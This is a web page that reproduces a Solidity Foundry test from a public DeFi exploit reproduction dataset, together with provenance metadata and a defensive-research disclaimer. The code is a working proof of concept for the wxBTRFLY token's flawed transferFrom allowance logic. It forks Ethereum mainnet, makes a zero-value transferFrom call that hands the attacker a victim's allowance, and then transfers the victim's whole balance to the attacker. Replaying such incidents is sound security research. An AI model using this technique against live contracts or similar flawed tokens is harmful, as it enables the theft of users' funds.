Public reproduction file
src/test/2022-03/RedactedCartel_exp.sol
Public reproduction file for dataset entry Redacted Cartel.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED3pragma solidity ^0.8.10;5import "forge-std/Test.sol";6import "./../interface.sol";8/*9Redacted Cartel Custom Approval Logic Exploit PoC11The vulnerability would have allowed a malicious attacker to assign a user’s allowance to themselves, enabling the attacker to steal that user’s funds.13a faulty implementation of standard transferFrom() ERC-20 function in wxBTRFLY token.14*/15contract RedactedCartelExploit is Test {16 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);17 IRedactedCartelSafeERC20 wxBTRFLY = IRedactedCartelSafeERC20(0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C);19 address Alice = 0x9ee1873ba8383B1D4ac459aBd3c9C006Eaa8800A;20 address AliceContract = 0x0f41d34B301E24E549b7445B3f620178bff331be;21 address Bob = 0x78186702Bd66905845B469E3b76d4FD63F8722d4;22 address owner = 0x20B92862dcb9976E0AA11fAE766343B7317aB349; //owner of wxBTRFLY token24 function setUp() public {25 cheats.createSelectFork("mainnet", 13_908_185); //1390818527 // cheat.label(address(Alice), "Alice");28 // cheat.label(address(AliceContract), "AliceContract");29 // cheat.label(address(Bob), "Bob");30 // cheat.label(address(owner), "wxBTRFLYOwner");31 }33 function testExploit() public {34 //quick hack to bypass the "onlyAuthorisedOperators" modifier35 cheats.prank(owner);36 wxBTRFLY.unFreezeToken();38 console.log("Before the Exploit !");39 console.log("Alice wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Alice));40 console.log("Bob wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Bob));41 console.log("--------------------------------------------------");43 // Step 1: Alice approves an address to spend wxBTRFLY Token on her behalf44 cheats.prank(Alice);45 wxBTRFLY.approve(AliceContract, 89_011_248_549_237_373_700); // wxBTRFLY.balanceOf(Alice)46 console.log("wxBTRFLY Allowance of Alice->AliceContract : ", wxBTRFLY.allowance(Alice, AliceContract));47 console.log("wxBTRFLY Allowance of Alice->Bob(Before transferFrom): ", wxBTRFLY.allowance(Alice, Bob));49 /*50 Custom vulnerable transferFrom function of wxBTRFLY token52 function transferFrom(address sender, address recipient, uint256 amount) public virtual override onlyAuthorisedOperators returns (bool) {53 _transfer(sender, recipient, amount);54 _approve(sender, msg.sender, allowance(sender, recipient ).sub(amount, "ERC20: transfer amount exceeds allowance"));55 return true;56 }57 */59 // Step 2: Bob calls wxBTRFLY.transferFrom(Alice, aliceContract, 0),60 // No transfer happens, but due to the allowance bug, Bob gets an allowance for Alice’s money61 cheats.prank(Bob);62 //_approve(Alice, Bob, allowance(Alice, AliceContract ).sub(0)63 wxBTRFLY.transferFrom(Alice, AliceContract, 0);64 console.log("wxBTRFLY Allowance of Alice->Bob(After transferFrom): ", wxBTRFLY.allowance(Alice, Bob));66 //post-hack67 cheats.prank(Bob);68 wxBTRFLY.transferFrom(Alice, Bob, 89_011_248_549_237_373_700); // wxBTRFLY.balanceOf(Alice)70 console.log("--------------------------------------------------");71 console.log("After the Exploit !");72 console.log("Alice wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Alice));73 console.log("Bob wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Bob));74 }75}Analysis
Dataset entry
Public Foundry test for “Redacted Cartel” (2022-03-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-03/Agave_exp.solSame month in the dataset · 208 lines
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/Bacon_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/CompoundTusd_exp.solSame month in the dataset · 23 lines
- src/test/2022-03/Fantasm_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/HundredFinance_exp.solSame month in the dataset · 142 lines
- src/test/2022-03/LiFi_exp.solSame month in the dataset · 412 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/Ronin_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/TreasureDAO_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/Umbrella_exp.solSame month in the dataset · 46 lines
File record
- Name
- Redacted Cartel
- Path
- src/test/2022-03/RedactedCartel_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ce3e330e4a7f9fe33a13fa564f046ace7488c410
- Language
- Solidity
- Size
- 76 lines
- Date
- 2022-03-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/RedactedCartel_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ce3e330e4a7f9fe33a13fa564f046ace7488c410, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.